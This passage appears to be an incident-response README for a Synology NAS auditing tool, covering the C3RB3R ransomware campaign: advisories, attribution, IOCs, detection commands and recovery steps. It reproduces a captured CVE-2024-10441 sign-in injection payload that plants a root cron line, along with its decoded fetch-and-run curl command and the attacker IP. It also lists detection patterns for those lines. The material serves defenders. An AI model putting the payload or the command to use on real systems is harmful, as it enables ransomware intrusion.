# C3RB3R / `.L0CK3D` ransomware against Synology NAS [English](INCIDENT-C3RB3R.md) · [繁體中文](INCIDENT-C3RB3R.zh-TW.md) · [简体中文](INCIDENT-C3RB3R.zh-CN.md) Public incident reference, indicators of compromise, CLI verification steps, and recovery guide for the October 2026 ransomware campaign targeting internet-exposed Synology NAS devices. ## Summary - In October 2026, a wave of ransomware attacks encrypted internet-exposed Synology NAS devices, appending the `.L0CK3D` extension (with the digit zero) to files and dropping a ransom note named `read-me3.txt` in each directory ([360, 2026-10-29](https://www.360.cn/n/13055.html)). - The `read-me3.txt` notes, written into every folder level and the root directory, contain the text `C3RB3R INSTRUCTIONS` ([HKEPC on Threads, 2026-10-29](https://www.threads.com/@hkepc/post/DfFNi9Xibnj)); itnotetk describes `C3RB3R INSTRUCTIONS` as the note's title and reports a locally generated 6-digit device ID in each note ([itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/)). - According to Qihoo 360's analysis of sample MD5 `a1375e0f82ae86df528876c049b5a23c`, the encryptor uses a per-file 256-bit ChaCha8 key and 64-bit nonce wrapped with RSA-2048 and appended to the file, fully encrypts 187 priority file extensions, partially encrypts other files, and skips 27 system directories ([360, 2026-10-29](https://www.360.cn/n/13055.html)). - **[community report]** Victims report that each encrypted file grows by 588 bytes, large non-priority files (such as a 21 MB PDF) have three ~4% stripes encrypted, and existing decryptors from Kaspersky (`RakhniDecryptor`), Emsisoft, and Dr.Web (`Trojan.Encoder.38200`) do not decrypt the files ([CyberQ, 2026-10-30](https://cyberq.tw/2026/10/30/synology-nas-c3rb3r-ransomware/)). - Malware family lineage is disputed between researchers: Qihoo 360 classifies C3RB3R as a variant of the Cerber family ([360, 2026-10-29](https://www.360.cn/n/13055.html)), whereas BleepingComputer forum researchers have tracked C3RB3R since 2022 as a strain built from leaked Conti v3 source code ([BleepingComputer forum thread](https://www.bleepingcomputer.com/forums/t/780618/c3rb3r-conti-v3-based-ransomware-lock3d-letter-o-l0ck3d-zero-0/page-4), [itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/)). - **[community report]** Unverified reports describe the attacker's payment portal offering one free decryption of a file up to 1024 KB and demanding 0.037 to 0.085 BTC (doubling after five days) alongside an unsubstantiated data-exfiltration claim with no known leak site ([Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128), [itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/)). ## What is known (with sources) ### Synology's statement and Synology-SA-24:20 - **[primary]** On 2026-10-29, Synology published a security statement saying it "identified threat actors exploiting a vulnerability patched in December 2024" on devices running outdated DSM versions to encrypt data and extort ransom, linking directly to advisory Synology-SA-24:20 and urging users to update DSM and enable automatic updates ([Synology statement, 2026-10-29](https://www.synology.com/en-global/company/news/article/C3RB3R/Synology%20urges%20users%20to%20update%20DSM%20following%20ransomware%20attacks%20on%20outdated%20DSM%20versions)). - **[primary]** Synology's 2026-10-29 release does not name a specific CVE, fixed build number, or victim count, and does not mention the strings `C3RB3R`, `.L0CK3D`, `read-me3.txt`, QuickConnect, ports, passwords, or snapshots ([Synology statement, 2026-10-29](https://www.synology.com/en-global/company/news/article/C3RB3R/Synology%20urges%20users%20to%20update%20DSM%20following%20ransomware%20attacks%20on%20outdated%20DSM%20versions)). - **[primary]** Synology-SA-24:20 (published 2024-11-05, DSM 6.2 fix added 2024-12-05, technical details disclosed 2025-03-19, last updated 2025-03-28) covers CVE-2024-10441 (CVSS 3.1 9.8 Critical, improper output encoding in the system plugin daemon allowing remote arbitrary code execution, demonstrated at Pwn2Own 2024), CVE-2024-50629 (CVSS 5.3), and CVE-2024-10445 (CVSS 4.3), with fixed builds DSM 7.2.2-72806-1, 7.2.1-69057-6, 7.2-64570-4, 7.1.1-42962-7, and 6.2.4-25556-8 ([Synology-SA-24:20](https://www.synology.com/en-global/security/advisory/Synology_SA_24_20)). ### Qihoo 360's analysis and Synology-SA-26:13 - **[primary for 360's findings]** Qihoo 360's anti-ransomware team reported receiving multiple Synology NAS ransomware cases starting in October 2026, attributed the attacks to C3RB3R, and named CVE-2026-13639 and CVE-2026-13684 (patched in Synology-SA-26:13) as the entry vulnerabilities exploited as 1-day flaws ([360, 2026-10-29](https://www.360.cn/n/13055.html)). - **[primary]** Synology-SA-26:13 (published 2026-09-18, Critical, Resolved, Mitigation "None") fixes eight DSM vulnerabilities: CVE-2026-13684 (SCGI, CWE-116, CVSS 9.8, unauthenticated arbitrary file read/write and DoS), CVE-2026-13639 (login logic, CWE-331 insufficient entropy, CVSS 9.8, unauthenticated arbitrary file read/write and DoS), CVE-2026-13673 (LDAP API, CVSS 8.8, authenticated), CVE-2026-6205 (Upload API, CVSS 8.1, authenticated), CVE-2026-13635 (Auth API, CVSS 5.3), CVE-2026-13623 (Theme API XSS, CVSS 4.8, admin), CVE-2026-13666 (Sharing API CRLF, CVSS 3.5), and CVE-2026-13683 (EventScheduler API SQLi, CVSS 2.7, admin) ([Synology-SA-26:13](https://www.synology.com/en-global/security/advisory/Synology_SA_26_13)). - **[primary]** Singapore's Cyber Security Agency (CSA) alert AL-2026-127 highlights the four highest-severity CVEs in SA-26:13 (9.8, 9.8, 8.8, 8.1) across DSM 7.4, 7.3, and 7.2 and advises administrators to patch immediately ([CSA Singapore AL-2026-127, 2026-09-23](https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-127/)). | DSM branch | SA-26:13 fixed build | SA-24:20 fixed build | |---|---|---| | DSM 7.4 | `7.4-90075` and later | Included in baseline | | DSM 7.3.2 | `7.3.2-86009 Update 4` (`7.3.2-86009-4`) | Included in baseline | | DSM 7.2.2 | `7.2.2-72806 Update 9` (`7.2.2-72806-9`) | `7.2.2-72806-1` | | DSM 7.2.1 | `7.2.1-69057 Update 12` (`7.2.1-69057-12`) | `7.2.1-69057-6` | | DSM 7.2 | Not listed in SA-26:13 (upgrade to a fixed branch) | `7.2-64570-4` | | DSM 7.1 and older | Not listed in SA-26:13 (upgrade to a fixed branch) | `7.1.1-42962-7` / `6.2.4-25556-8` | ### Synology-SA-26:19 - **[primary]** Synology-SA-26:19 (published 2026-11-10, revision 1, Critical, Resolved, Mitigation "None") fixes two unauthenticated DSM flaws: CVE-2026-76954 (Auth API SQL injection, CWE-89, CVSS 3.1 9.8, arbitrary file read/write and denial of service) and CVE-2026-85101 (rsync authentication bypass, CWE-288, CVSS 3.1 8.6, read of specific files, arbitrary file write, and limited denial of service). Checked against the advisory page on 2026-11-11 ([Synology-SA-26:19](https://www.synology.com/en-global/security/advisory/Synology_SA_26_19)). - A build can be past the SA-26:13 fix and still be missing SA-26:19. `nas status`, `nas doctor`, `nas incident`, and `nas alert` report the two advisories separately. The overall DSM-patch verdict is patched only when both are. DSM 7.1 and older, and plain DSM 7.2, are not listed. A later branch that the advisory does not name (for example DSM 7.5) is reported as `unknown`, not patched. | DSM branch | SA-26:19 fixed release | |---|---| | DSM 7.4 | `7.4.1-90080-1` or above | | DSM 7.3 | `7.3.2-86009-5` or above | | DSM 7.2.2 | `7.2.2-72806-10` or above | | DSM 7.2.1 | `7.2.1-69057-13` or above | | DSM 7.2, DSM 7.1 and older | Not listed (no fix on that branch) | ### Synology-SA-26:18 (same day as SA-26:19) - **[primary]** Synology-SA-26:18 (published 2026-11-10, Important, Resolved) fixes 25 more DSM CVEs (authenticated and some unauthenticated file read/write and DoS, e.g. CVE-2026-13672, an SSOAuth authorization bypass, CVSS 8.8) in DSM 7.4 `7.4.1-90080-1` and DSM 7.3 `7.3.2-86009-5` or above; DSM 7.2 is not listed ([Synology-SA-26:18](https://www.synology.com/en-global/security/advisory/Synology_SA_26_18)). With SA-26:19's two CVEs these are the "27 DSM vulnerabilities" reported on 2026-11-10. The fixed releases are the same as SA-26:19's on 7.4 and 7.3, so the same Update closes both. - `nas status` reports it as `sa_26_18` (CVE ids on `sa_26_18.cves`; DSM 7.2.x shows `not_affected`); `dsm_patch` and `nas incident`'s `dsm_version` include it. ### Synology-SA-26:17 ("Plex2Shell") - **[primary]** Synology-SA-26:17 (published 2026-11-08, Important) fixes CVE-2026-96656 in the Plex Media Server package: `1.43.5.11079-720011079` or above on DSM 7.3/7.4, `1.43.5.11079-700011079` on DSM 7.2.x ([Synology-SA-26:17](https://www.synology.com/en-global/security/advisory/Synology_SA_26_17)). `nas inventory` flags it and `nas incident`'s package item (`sa_26_14_packages`, id unchanged) FAILs while an old Plex runs; `nas incident fix --only packages` stops it. ### Synology-SA-26:14 ("PHP2Shell") - **[primary]** Synology-SA-26:14 (published 2026-10-22, updated 2026-10-26, Critical, Resolved) addresses CVE-2026-109618 and CVE-2026-109619 (CVSS 3.1 9.8 in Synology's advisory; CVSS v4.0 9.2 in NVD/CyberQ), which are PHP-core memory corruption and stale internal request-state flaws leading to remote code execution ([Synology-SA-26:14](https://www.synology.com/en-us/security/advisory/Synology_SA_26_14), [CyberQ, 2026-10-30](https://cyberq.tw/2026/10/30/synology-nas-c3rb3r-ransomware/)). - **[primary]** Fixed package versions under SA-26:14 (DSM 7.2 or above; Synology lists separate builds for DSM 7.0–7.1 and 6.2, which `nas` applies by the box's DSM) are Synology Calendar `3.0.4-21435`, MailStation `30000002.3.19-20333`, PHP 7.4 `7.4.33-0131`, PHP 8.0 `8.0.30-0122`, PHP 8.1 `8.1.34-0120`, PHP 8.2 `8.2.35-0171`, PHP 8.3 `8.3.36-0051`, and PHP 8.4 `8.4.27-0051`; PHP 7.3 is end-of-life with no fix, and Hyper Backup (added in revision 2 on 2026-10-26) is listed as not affected ([Synology-SA-26:14](https://www.synology.com/en-us/security/advisory/Synology_SA_26_14)). - **[primary]** Synology's PHP2Shell statement lists ten affected packages that rely on the PHP packages (Calendar, IDrive, Joomla, KodExplorer, MailStation, MediaWiki, phpMyAdmin, vtigerCRM, Web Station, WordPress), notes that MailStation must be updated manually, notes that IDrive is a third-party package and that Synology Drive is not affected by PHP2Shell, extends PHP updates to end-of-life DSM 7.2/7.1/7.0 and 6.2, and states that the PHP component built into DSM includes no externally accessible modules (Synology PSIRT assessed the risk as minimal and plans a fix in a later DSM release) ([Synology PHP2Shell statement, 2026-10-22 / 2026-10-28](https://www.synology.com/en-us/company/news/article/php2shell/Synology%20extends%20PHP2Shell%20security%20updates%20to%20end-of-life%20DSM%20versions)). - **[primary]** CISA added CVE-2026-109618 and CVE-2026-109619 to its Known Exploited Vulnerabilities (KEV) catalog on 2026-10-26 for general PHP exploitation rather than Synology-specific attacks ([CISA KEV alert, 2026-10-26](https://www.cisa.gov/news-events/alerts/2026/10/26/cisa-adds-two-known-exploited-vulnerabilities-catalog)). - **[community report]** Users report that uninstalling PHP 7.4 in Package Center also prompts removal of Hyper Backup when Hyper Backup depends on it; stopping or updating PHP 7.4 avoids removing Hyper Backup ([Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128)). ### Attribution disagreement across sources - **Synology (SA-24:20):** Synology's official 2026-10-29 statement links the ransomware attacks on outdated DSM versions to Synology-SA-24:20 (patched in December 2024, covering CVE-2024-10441) ([Synology statement, 2026-10-29](https://www.synology.com/en-global/company/news/article/C3RB3R/Synology%20urges%20users%20to%20update%20DSM%20following%20ransomware%20attacks%20on%20outdated%20DSM%20versions)). - **[community report] Forensic logs matching CVE-2024-10441:** Reddit user `u/NakamuraHwang` (DS918+) examined the logs and system files and traced the intrusion to CVE-2024-10441 ([LavX News relay of Tom's Hardware, 2026-10-29](https://news.lavx.hu/article/ransomware-hits-internet-exposed-synology-nas-via-18-month-old-remote-code-flaw), [Mallory summary](https://mallory.ai/stories/01a187e2-d9c9-7ab1-b0ef-d1b444d9a0f3)); Dongyun Lab relays the capture: the username field of a request to the internet-facing DSM sign-in carried `PLUGIN_VALUE_END`, `LD_PRELOAD` and `LD_DEBUG_OUTPUT`, and two minutes later root ran `/etc/cron.d/synot*` ([Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128)). Observed in the wild (2026-10-28): the request is a `SYNO.API.Auth` v7 `login`, and the payload appears in `/var/log/synoplugin.log*` (see [below](#observed-in-the-wild-2026-10-28)). - **Qihoo 360 (SA-26:13):** Qihoo 360's analysis attributes the October 2026 Synology NAS C3RB3R intrusions to 1-day exploitation of CVE-2026-13639 and CVE-2026-13684 from Synology-SA-26:13 ([360, 2026-10-29](https://www.360.cn/n/13055.html)). - **[press] Unconfirmed PHP2Shell (SA-26:14) and container claims:** Guru3d, relaying HKEPC, lists reported entry vectors: Docker containers on the NAS running web services such as GitLab mapped to the internet (citing GitLab CVE-2026-110264 and CVE-2026-97229), and a Synology package vulnerability, for which it cites SA-26:14 (PHP core RCE, PHP2Shell); it does not say that Synology tied SA-26:14 to the campaign, whereas Synology's own statement links SA-24:20 and both CyberQ and XFastest HK note there is no confirmed evidence tying PHP2Shell to the `.L0CK3D` ransomware cases ([Guru3d, 2026-10-29](https://www.guru3d.com/story/synology-nas-devices-hit-by-l0ck3d-ransomware-campaign/), [HeaTalk, 2026-10-30](https://www.heatalk.com/20261030/17076/), [CyberQ, 2026-10-30](https://cyberq.tw/2026/10/30/synology-nas-c3rb3r-ransomware/), [XFastest HK, 2026-10-30](https://hk.xfastest.com/195038/synology-nas-attack/)). - **[community report] Secondary reports on newer DSM builds:** Secondary press relays mention a victim claiming DSM `7.2.1-69057 Update 9` and a Solar incident-response case claiming DSM `7.4.1-90080 Update 1` (newer than the SA-26:13 fixes) where the responders did not rule out an unpatched vector ([itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/), [Appinn, 2026-10-29](https://www.appinn.com/synology-nas-ransomware-2026)). ### Historical context: earlier campaigns against Synology NAS - **SynoLocker (2014) [primary]:** Exploited two DSM vulnerabilities fixed in late 2013 on DSM 4.3-3810 and earlier, where affected units misleadingly reported "no updates available" in DSM Update ([Synology SynoLocker advisory, 2014-08-07](https://www.synology.com/en-uk/security/advisory/SynoLocker)). - **July 2019 brute-force wave & eCh0raix / QNAPCrypt [primary / press]:** Attackers used botnet credential stuffing and dictionary attacks against internet-exposed DSM admin accounts to deploy eCh0raix ransomware ([Synology 2019 ransomware release, 2019-07-23](https://www.synology.com/en-uk/company/news/article/2019JulyRansomware), [Security Affairs, 2021-08](https://securityaffairs.com/120994/cyber-crime/ech0raix-ransomware-qnap-synology.html), [Unit 42, 2021-08-10](https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/)). - **StealthWorker botnet (2021) [primary]:** Synology PSIRT tracked ongoing botnet brute-force attacks targeting weak administrator credentials across exposed NAS devices ([Synology BruteForce release, 2021-08-04](https://www.synology.com/en-global/company/news/article/BruteForce)). - **DeadBolt (2022) [primary]:** Targeted internet-facing QNAP and ASUSTOR NAS devices with no confirmed Synology victims, reinforcing guidance to keep NAS management interfaces off the public internet ([Trend Micro, 2022-06-06](https://www.trendmicro.com/en_gb/research/22/f/closing-the-door-deadbolt-ransomware-locks-out-vendors-with-mult.html)). - **RISK:STATION (2024) [primary]:** Midnight Blue disclosed CVE-2024-10443 in Synology Photos and demonstrated that QuickConnect TLS certificates appear in public Certificate Transparency logs, making millions of `*.quickconnect.to` subdomains enumerable and reachable through the QuickConnect relay even without router port forwarding ([Midnight Blue RISK:STATION, 2024-11-01](https://www.midnightblue.nl/research/riskstation)). ## Timeline - **2024-11-05 / 2024-12-05:** Synology publishes Synology-SA-24:20 fixing CVE-2024-10441 in DSM 7.1/7.2 and adds the DSM 6.2 fix in December 2024 ([Synology-SA-24:20](https://www.synology.com/en-global/security/advisory/Synology_SA_24_20)). - **2026-09-18:** Synology publishes Synology-SA-26:13 fixing CVE-2026-13684, CVE-2026-13639, and six other DSM vulnerabilities ([Synology-SA-26:13](https://www.synology.com/en-global/security/advisory/Synology_SA_26_13)). - **2026-09-23:** CSA Singapore issues alert AL-2026-127 urging immediate patching for Synology-SA-26:13 ([CSA Singapore AL-2026-127](https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2026-127/)). - **Early October 2026:** Qihoo 360 begins receiving reports of Synology NAS devices encrypted by C3RB3R / `.L0CK3D` ([360, 2026-10-29](https://www.360.cn/n/13055.html)). - **2026-10-17 onward:** **[community report]** NAS victims (including Synology and a Zyxel NAS326) begin posting in the BleepingComputer C3RB3R support thread ([BleepingComputer forum thread](https://www.bleepingcomputer.com/forums/t/780618/c3rb3r-conti-v3-based-ransomware-lock3d-letter-o-l0ck3d-zero-0/page-4), [CyberQ, 2026-10-30](https://cyberq.tw/2026/10/30/synology-nas-c3rb3r-ransomware/)). - **2026-10-22:** Synology publishes Synology-SA-26:14 ("PHP2Shell", CVE-2026-109618 and CVE-2026-109619) and extends PHP package updates to end-of-life DSM branches ([Synology-SA-26:14](https://www.synology.com/en-us/security/advisory/Synology_SA_26_14), [Synology PHP2Shell statement](https://www.synology.com/en-us/company/news/article/php2shell/Synology%20extends%20PHP2Shell%20security%20updates%20to%20end-of-life%20DSM%20versions)). - **2026-10-26:** Synology updates SA-26:14 to note Hyper Backup is unaffected, and CISA adds CVE-2026-109618 and CVE-2026-109619 to the KEV catalog ([Synology-SA-26:14](https://www.synology.com/en-us/security/advisory/Synology_SA_26_14), [CISA KEV alert](https://www.cisa.gov/news-events/alerts/2026/10/26/cisa-adds-two-known-exploited-vulnerabilities-catalog)). - **2026-10-28:** **[community report]** At least four help requests appear on `r/synology` within 12 hours ([itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/), for example this [r/synology post](https://www.reddit.com/r/synology/comments/1xhyt6w/hit_with_c3rb3r_ransomware_this_am/)), and `u/NakamuraHwang` posts an on-site forensic report showing the sign-in injection (`PLUGIN_VALUE_END`, `LD_PRELOAD`, `LD_DEBUG_OUTPUT`) and the root cron job `/etc/cron.d/synot*` ([Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128)). - **2026-10-29:** Synology publishes its official statement linking the attacks to SA-24:20, and Qihoo 360 publishes its technical analysis of C3RB3R ([Synology statement, 2026-10-29](https://www.synology.com/en-global/company/news/article/C3RB3R/Synology%20urges%20users%20to%20update%20DSM%20following%20ransomware%20attacks%20on%20outdated%20DSM%20versions), [360, 2026-10-29](https://www.360.cn/n/13055.html), [HKEPC on Threads](https://www.threads.com/@hkepc/post/DfFNi9Xibnj)). - **2026-10-30:** CyberQ, XFastest HK, and itnotetk publish consolidated analyses comparing Synology's SA-24:20 statement, 360's SA-26:13 attribution, and victim reports ([CyberQ, 2026-10-30](https://cyberq.tw/2026/10/30/synology-nas-c3rb3r-ransomware/), [XFastest HK, 2026-10-30](https://hk.xfastest.com/195038/synology-nas-attack/), [itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/)). ## How the attack works ### How a NAS ends up reachable from the internet - **[community report]** In the victim reports CyberQ collected, the DSM sign-in page was reachable from the internet through router UPnP automatic port mapping, port forwards opened for Plex or streaming, QuickConnect, or a reverse proxy (one NAS sat behind nginx; one forwarded SMB through the router); every case with known details had port forwarding or a directly exposed management interface, and CyberQ's advice names ports 5000/5001 (DSM) and 445 (SMB) ([CyberQ, 2026-10-30](https://cyberq.tw/2026/10/30/synology-nas-c3rb3r-ransomware/)). - **[primary]** QuickConnect certificates are logged in public Certificate Transparency logs, allowing attackers to enumerate `*.quickconnect.to` subdomains and reach DSM through the QuickConnect relay even when no ports are forwarded on the router ([Midnight Blue RISK:STATION, 2024-11-01](https://www.midnightblue.nl/research/riskstation)). - **[primary]** When a NAS dials PPPoE itself, sits in a router DMZ, or holds a global IPv6 address without an inbound drop rule on the router or DSM firewall, every listening service is directly reachable from the internet ([Synology Firewall Help](https://kb.synology.com/en-global/DSM/help/DSM/AdminCenter/connection_security_firewall?version=7)). - **[community report]** CyberQ, relaying 360's anti-ransomware team through pwn.watch, describes CVE-2026-13639 (insufficient entropy in the DSM sign-in logic) and CVE-2026-13684 (improper output encoding in DSM's SCGI component): the attacker's sign-in request never succeeds, yet files are read and written with system privileges, so passwords and 2-step verification do not stop it; several victims said 2-step verification, strong passwords, a disabled `admin` and AutoBlock were all on ([CyberQ, 2026-10-30](https://cyberq.tw/2026/10/30/synology-nas-c3rb3r-ransomware/)). - **[community report]** Devices on older branches such as DSM `7.1.1-42962 Update 9` display "Your DSM version is up to date" in Control Panel because DSM auto-update does not cross major/minor branch boundaries without a manual update ([CyberQ, 2026-10-30](https://cyberq.tw/2026/10/30/synology-nas-c3rb3r-ransomware/), [itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/)). - **[community report]** Permanently attached USB backup drives and local Hyper Backup targets without version isolation were encrypted alongside shared folders; in one case (`u/avebelle`) 35 of 36 snapshots were also removed, while other victims found their Btrfs snapshots intact and restored from them ([CyberQ, 2026-10-30](https://cyberq.tw/2026/10/30/synology-nas-c3rb3r-ransomware/)); Dongyun Lab notes that the encryption script walks ordinary folders and runs no command that deletes Btrfs snapshots ([Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128)). ### Observed in the wild (2026-10-28) **[community report]** Observed in the wild (2026-10-28): CVE-2024-10441 (Synology-SA-24:20, output-encoding flaw in the system plugin daemon) used through the DSM sign-in ([Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128)). The request is `SYNO.API.Auth` v7 `login` with this account field (newlines and tabs are real characters): ``` admin PLUGIN_VALUE_END LD_PRELOAD=PLUGIN_VALUE_START NOP * * * * * root echo /xdy5.sh|sh"> |base64 -d|sh NOP PLUGIN_VALUE_END LD_DEBUG=libs LD_DEBUG_OUTPUT=/etc/cron.d/synot ESCAPE=PLUGIN_VALUE_START NOP ``` Observed in the wild (2026-10-28): the field sets `LD_DEBUG=libs` and `LD_DEBUG_OUTPUT=/etc/cron.d/synot` for the plugin process, so glibc's loader debug output, which repeats the account field and with it the cron line, is written into `/etc/cron.d/`. The line's schedule fields are `* * * * *`: cron runs it as root every minute, and it decodes to `curl -s http:///xdy5.sh|sh`. Dongyun Lab describes the same result: the glibc dynamic loader writes a line into `/etc/cron.d/` as root before the account is checked ([Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128)). CVE-2024-10441 is fixed in the SA-24:20 builds ([Synology-SA-24:20](https://www.synology.com/en-global/security/advisory/Synology_SA_24_20)). - **[community report]** In the capture Dongyun Lab relays, the injected sign-in (about 13:45 NAS time) was handled by the system plugin daemon `synotade`, and two minutes later (13:47) root ran `/etc/cron.d/synot*`, which fetched `http://46.8.78.122/xdy5.sh`. The script saves the core encryptor as `/bin/qnetd` and starts it, downloads `/bin/libgld` as a backup payload, and creates `/bin/l0ck.enc` as a marker so only one encryption process runs (removed when encryption finishes); `rm.log` showed the cleanup of temporary `synotade.` files. Some victims received a Log Center e-mail that the `.SYNOACCOUNTDB` database was corrupted before files were encrypted, and a V2EX victim logged a failed sign-in from `46.8.78.122` eight minutes before encryption began ([Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128)). One victim saw the encryption process named `libgld`, and in one case DSM had been reset to a fresh state with an extra `admin2` home directory ([itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/)). ## Indicators of compromise and how `nas incident --deep` checks them | Indicator | Where | Item | Source | |---|---|---|---| | `PLUGIN_VALUE_END`, `LD_PRELOAD=`, `LD_DEBUG_OUTPUT` in a sign-in | DSM connection log (`SYNO.Core.SyslogClient.Log`, about the last 10,000 entries) | `exploit_attempts` (normal session) | observed in the wild (2026-10-28); strings also in [Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128) | | The same strings, `POST weblogin Args: USER=...` with the payload | `/var/log/synoplugin.log*` (root only, rotated as `.xz`) | `exploit_attempts_logs` (`--deep`) | observed in the wild (2026-10-28) | | "failed to sign in" event text with the payload | `/var/log/synoscgi.log*` (root only, `.xz`) | `exploit_attempts_logs` | observed in the wild (2026-10-28) | | `authentication failure ... rhost=` without a `user=` field | `/var/log/auth.log*` (root only) | `exploit_attempts_logs` | observed in the wild (2026-10-28) | | Source addresses `46.8.78.122`, `104.253.175.125` (`incident.ioc_ips`, extendable) | all of the above, connections | `exploit_attempts`, `exploit_attempts_logs`, `ioc_processes` | `46.8.78.122`: [Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128); `104.253.175.125`: observed in the wild (2026-10-28) | | `/etc/cron.d/synot*`, cron lines with `base64 -d`, `\| sh`, `curl`/`wget`, `xdy5` | `/etc/crontab`, `/etc/cron.d`, `/var/spool/cron` | `ioc_cron` | `/etc/cron.d/synot*`, `xdy5.sh`: [Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128); the `echo \| base64 -d \| sh` line: observed in the wild (2026-10-28) | | `/bin/libgld`, `/bin/qnetd`, `/bin/l0ck.enc`, any `xdy5*` file | `/bin`, `/usr/bin`, temp folders, `/etc`, `/root`, `/var/spool` (3 levels) | `ioc_binaries` | [Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128) | | A second uid 0 account; unknown accounts with uid >= 1024 | `/etc/passwd` (package accounts and `incident.allowed_users` excluded) | `ioc_users` | `admin2` home directory: [itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/); the uid checks are generic persistence checks | | `authorized_keys` for root or any home | `/root/.ssh`, `/var/services/homes/*/.ssh`, `/volume*/homes/*/.ssh` | `ioc_ssh_keys` | generic persistence check | | Processes named `libgld`/`qnetd`/`xdy5*` or running from `/tmp`, `/var/tmp`, `/dev/shm`; executables outside Synology paths; established TCP connections to public addresses (reported), to IOC addresses (FAIL) | `/proc` | `ioc_processes` | names: [Dongyun Lab / dylab, 2026-10-29](https://dylab.org/archives/1128), [itnotetk, 2026-10-30](https://www.itnotetk.com/2026/10/30/synology-nas-c3rb3r-l0ck3d-ransomware/); the rest are generic checks | | Files matching `*.L0CK3D`, `*.LOCK3D`, or `read-me3.txt` | All visible shared folders via File Station search | `ransomware_files` (`--scan`) | `*.L0CK3D`, `read-me3.txt`: [360, 2026-10-29](https://www.360.cn/n/13055.html); `*.LOCK3D` (letter O): [BleepingComputer forum thread](https://www.bleepingcomputer.com/forums/t/780618/c3rb3r-conti-v3-based-ransomware-lock3d-letter-o-l0ck3d-zero-0/page-4) | Verdicts: known-bad hit = `FAIL`; unknown entries (cron lines outside Synology paths, accounts not allow-listed, executables outside Synology paths, `(deleted)` executables, any `authorized_keys`) = `WARN`; attempts in logs = `WARN` with "attempt seen". Container processes are counted, not judged. Log text is shown as data: control characters escaped, lengths capped; `--json` adds the collector's raw result under `deep`. How `--deep` runs: - `--backend password`: a temporary root task in Task Scheduler (`SYNO.Core.TaskScheduler.Root create` after `SYNO.Core.User.PasswordConfirm`, `run` v2, deleted afterwards) runs one Python script (zlib + base64 in the task script) ([DSM-API-NOTES.md](DSM-API-NOTES.md)). It stops when `deploy.stage_dir` is a symlink, writes one file `/nas-deep-.json` with `O_CREAT|O_EXCL|O_NOFOLLOW`, carrying the random marker; the CLI reads it with File Station, checks the marker and deletes it ([DSM-API-NOTES.md](DSM-API-NOTES.md)). `deploy.stage_dir` must be set (a folder in a shared folder the account can write; created if missing). - `--backend local` (on the NAS as root): the same script runs directly and prints the JSON ([DSM-API-NOTES.md](DSM-API-NOTES.md)). - Nothing else is written; the script only reads ([DSM-API-NOTES.md](DSM-API-NOTES.md)). Equivalent by hand (as root): `xzcat -f /var/log/synoplugin.log* /var/log/synoscgi.log* /var/log/auth.log* | grep -E 'PLUGIN_VALUE_END|LD_DEBUG_OUTPUT|46\.8\.78\.122|104\.253\.175\.125'`, `ls -la /etc/cron.d /bin/libgld /bin/qnetd /bin/l0ck.enc`, `awk -F: '$3>=1024 || ($3==0 && $1!="root")' /etc/passwd`, `ls -la /root/.ssh /var/services/homes/*/.ssh`, `ls -l /proc/*/exe`, `cat /proc/net/tcp`. ## "Am I affected?" decision steps using the CLI 1. **Run the read-only audit with port probing and ransom-note search:** ```bash nas incident --probe --scan --json ``` 2. **Run the deep root collector to inspect root-only logs, crontabs, binaries, users, SSH keys, and `/proc`:** ```bash nas incident --deep --json ``` 3. **Interpret the results:** - **`ransomware_files: FAIL` or any `ioc_*` (`ioc_cron`, `ioc_binaries`, `ioc_users`, `ioc_processes`) is `FAIL`:** The NAS has active or completed C3RB3R compromise indicators; proceed immediately to [Recovery steps](#recovery-steps) below ([CISA #StopRansomware Guide](https://www.cisa.gov/stopransomware/ransomware-guide)). - **`external_signins: FAIL`:** Successful logins occurred from outside `allowed_networks`; inspect `nas logs --limit 20000` and `nas inventory` for unauthorized accounts, scheduled tasks, or packages ([Synology ransomware KB](https://kb.synology.com/en-global/DSM/tutorial/What_to_do_when_NAS_attacked_by_ransomware)). - **`exploit_attempts: WARN` or `exploit_attempts_logs: WARN` while all `ioc_*` and `ransomware_files` are `PASS`:** An attacker sent the CVE-2024-10441 payload to the NAS, and `ioc_cron` / `ioc_binaries` `PASS` shows no planted `/etc/cron.d/synot*` or `/bin/libgld` artifact was found; close internet exposure and patch immediately with `nas incident fix` ([Synology-SA-24:20](https://www.synology.com/en-global/security/advisory/Synology_SA_24_20)). - **`dsm_version`, `firewall`, `quickconnect`, `router_port_forwarding`, `autoblock`, `smb_min_protocol`, `admin_account`, `snapshot_schedule:`, or `snapshot_worm:` is `FAIL` with no compromise indicators:** The NAS is unpatched or exposed but not infected; apply hardening with `nas incident fix --ransom-scan --yes` ([Synology C3RB3R 